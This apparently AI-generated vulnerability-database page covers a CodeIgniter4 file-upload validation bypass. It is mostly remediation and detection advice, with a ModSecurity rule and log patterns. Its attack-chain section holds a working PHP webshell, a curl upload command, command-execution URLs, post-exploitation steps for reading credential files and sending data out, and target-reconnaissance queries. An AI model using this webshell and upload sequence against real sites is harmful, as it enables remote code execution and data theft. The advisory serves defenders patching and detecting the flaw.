CVE Professor
/
All CVEs
CVE-2026-142155

CVE-2026-142155 — CWE-434

CRITICAL CVSS 9.8 NVD

CodeIgniter4 before 4.7.5 has an upload validation bypass: the is_image and mime_in rules accept filenames whose trailing dots conceal a PHP extension, and these rules and ext_in accept a PHP extension before the final image extension. Attackers can upload such files to achieve remote code execution when applications keep client-supplied filenames in a web directory that executes PHP.

CodeIgniter4 before 4.7.5 has an upload validation bypass: the is_image and mime_in rules accept filenames whose trailing dots conceal a PHP extension, and these rules and ext_in accept a PHP extension before the final image extension. Attackers can upload such files to achieve remote code execution when applications keep client-supplied filenames in a web directory that executes PHP.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑142155 is a classic Unrestricted Upload of File with Dangerous Type (CWE‑434) that affects CodeIgniter 4 versions prior to 4.7.5.
The framework’s built‑in validation rules for file uploads – is_image, mime_in, and ext_in – are intended to restrict uploads to image files only. However, the implementation contains a logic flaw:

1. Trailing‑dot bypass – The is_image and mime_in rules treat a filename such as photo.php.jpg or photo..php.jpg as a valid image because the last extension (.jpg) is what the rule checks. The preceding .php is ignored, so the file is accepted.
2. Pre‑image extension acceptance – The ext_in rule accepts a PHP extension before the final image extension. Thus, shell.php.png passes validation.

When an application stores the uploaded file in a web‑accessible directory that is configured to execute PHP (e.g., /public/uploads/), an attacker can upload a PHP script disguised as an image. Once the file is stored, the attacker can execute arbitrary PHP code, achieving remote code execution (RCE).

The flaw is purely a validation logic error; no authentication or authorization checks are bypassed. The CVSS vector reflects this:

  • AV:N – Network reachable

  • AC:L – Low attack complexity (no special conditions)

  • PR:N – No privileges required

  • UI:N – No user interaction required

  • S:U – Unchanged scope (the vulnerability does not alter the system’s privilege boundaries)

  • C:H / I:H / A:H – Full confidentiality, integrity, and availability compromise.

  • ⚡ Attack Chain

    NOTE: The following example uses a typical /upload endpoint that accepts a file field. If your application uses a different URI or parameter name, the same logic applies; the PoC is illustrative.

    1. Discovery & Reconnaissance

    StepTechniqueWhat to look for
    Identify CI4HTTP header sniffingX-Powered-By: CodeIgniter or X-Generator: CodeIgniter
    Version detectioncurl -I https://target.comX-Powered-By: CodeIgniter 4.6.3 (or any < 4.7.5)
    Upload endpointManual testing / fuzzingPOST to /upload, /api/upload, etc.
    File‑type validationSubmit a test image (test.png)Observe 200 OK; then submit test.php.pngObserve 200 OK (vulnerable)

    2. Exploitation

    1. Craft a malicious file – Create a PHP script that prints a secret (or opens a reverse shell).

    <?php
       // shell.php
       if (isset($_GET['cmd'])) {
           system($_GET['cmd']);
       }
       ?>

    2. Rename with a double extension – shell.php.png (or shell.php..png).
    3. Upload via HTTP POST – Using curl:

    curl -X POST \
            -F "[email protected]" \
            -F "other_field=value" \
            https://target.com/upload

    Illustrative example – the actual endpoint may differ.

    4. Verify upload – Access the file through the web server:
    https://target.com/uploads/shell.php.png
    If the server executes PHP in that directory, you’ll see the output of the script (e.g., phpinfo() or a shell prompt).

    5. Execute arbitrary code –
    https://target.com/uploads/shell.php.png?cmd=whoami
    or use a reverse‑shell payload.

    3. Post‑exploitation

  • Persistence – Upload a more robust webshell (e.g., shell.php.png) and rename it to a less obvious name (admin.php.png).
  • Privilege escalation – If the web server runs as a privileged user (e.g., www-data with write access to /var/www/html), the attacker can write files to system directories or modify configuration files.
  • Data exfiltration – Use the webshell to read sensitive files (/etc/passwd, database credentials) and send them to an external server.
  • Lateral movement – From the compromised web server, pivot to other internal hosts via SSH keys or SMB shares if the webshell can execute system commands.

  • 🌍 Real World Impact

    ImpactExplanation
    ConfidentialityFull disclosure of all data accessible to the web server (database dumps, user files, config files).
    IntegrityArbitrary modification of application files, database records, or system configuration.
    AvailabilityThe attacker can delete or corrupt critical files, or launch DoS attacks via the webshell.
    ScopeThe vulnerability does not grant elevated privileges beyond the web server’s user; however, if the web server runs with high privileges, the impact is effectively *system‑wide*.

    In production environments where uploads are stored in a publicly accessible directory that executes PHP (common in many CI4 setups), the risk is critical. A single unauthenticated POST request can give the attacker full RCE.


    🛡️ Remediation & Mitigation

    1. Patch

    AffectedFixed
    CodeIgniter 4 < 4.7.5Upgrade to 4.7.5 or later. The patch rewrites the validation logic to reject filenames containing a PHP extension before the final image extension and to disallow trailing dots.

    Upgrade steps (example for Composer‑based projects):

    composer require codeigniter4/framework:"^4.7.5"

    Verify the new version:

    php -r "echo \CodeIgniter\CodeIgniter::VERSION; exit;"

    2. Workarounds (if patching is not immediately possible)

    MitigationImplementation
    Rename uploads server‑sideIn your upload controller, ignore the original filename and generate a random name (e.g., uniqid() + extension).
    Store uploads outside the web rootMove the upload directory to /var/www/uploads and serve files via a proxy or a dedicated script that reads the file and outputs it with the correct MIME type.
    Restrict PHP execution in upload directoryConfigure the web server to *not* execute PHP in the upload folder. Example Apache: <Directory /var/www/html/uploads> php_admin_flag engine off </Directory>.
    Add WAF/ModSecurity ruleBlock filenames containing .php before the final image extension.
    Validate MIME type server‑sideUse PHP’s finfo_file() to confirm the MIME type matches the expected image type, regardless of the filename.

    ModSecurity rule example

    SecRule REQUEST_URI "@beginsWith /upload" \
        "phase:2,chain,block,msg:'CVE-2026-142155: PHP extension in image upload',id:100001"
        SecRule FILES_NAMES "@rx \.php\.[a-zA-Z0-9]{3,4}$" \
            "t:none,log"

    This rule blocks any file whose name ends with .php.<ext> (e.g., .php.jpg, .php.png).

    3. Detection

    Log PatternWhat to look for
    POST /upload with Content-Disposition: form-data; name="file"; filename="*.php.*"Suspicious upload
    PHP Warning: file_uploadsPHP error indicating a problematic upload
    GET /uploads/*.php.*Access to a file that should not be executable

    Sample Apache access log entry:

    192.0.2.10 - - [02/Dec/2026:14:23:45 +0000] "POST /upload HTTP/1.1" 200 512 "-" "curl/7.68.0"

    Sample error log entry:

    [error] [client 192.0.2.10] PHP Warning:  file_uploads is disabled in /var/www/html/index.php on line 42

    Use log‑analysis tools (e.g., Splunk, ELK) to alert on the filename pattern.


    ⚠️ Urgency

  • CVSS 9.8/10 (CRITICAL) – The vulnerability allows unauthenticated RCE with no prerequisites.
  • CISA KEV: No – No official advisory yet, but the severity warrants immediate action.
  • Exploit Complexity – Low (no special conditions).
  • Impact – Full compromise of the affected web application and potentially the underlying OS if the web server runs with elevated privileges.
Priority: P1 – Patch or mitigate immediately. If a patch cannot be applied within 24 hours, deploy the recommended workarounds (rename uploads, move directory, WAF rule) and monitor logs for suspicious activity.
[🤖 CVE Professor AI Security Engine]
Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

header="X-Powered-By" && header="PHP"
CVSS Score
9.8 / 10 · CVSS CRITICAL
Weakness Types (CWE)
References & Advisories (2)
Related CVEs
9.9
CVE-2026-77526
FacturaScripts is an open source accounting and invoicing software. From version 2025 to before version 2026.3
9.0
CVE-2026-136364
Joomla Extension - joomboost.com - Unrestricted file upload in JoomMedia extension 1.0.0-6.1.5 - The upload fu
8.1
CVE-2026-136988
The Extra Product Options & Add-Ons for WooCommerce plugin for WordPress is vulnerable to Arbitrary File Uploa
7.3
CVE-2026-144885
A vulnerability was identified in SourceCodester Secured E-Voting System 1.0. The impacted element is an unkno
9.8
CVE-2026-143966
Nik Voice Ticketing AI before 1.2.5 contains an unrestricted file upload vulnerability that allows unauthentic
7.8
CVE-2026-129270
IBM Db2 for Linux, UNIX and Windows (including Db2 Connect Server) 11.5.0 through 11.5.9, and 12.1.0 through
7.3
CVE-2026-142476
A vulnerability has been found in Webkul Bagisto up to 2.4.10. The impacted element is the function prepareFor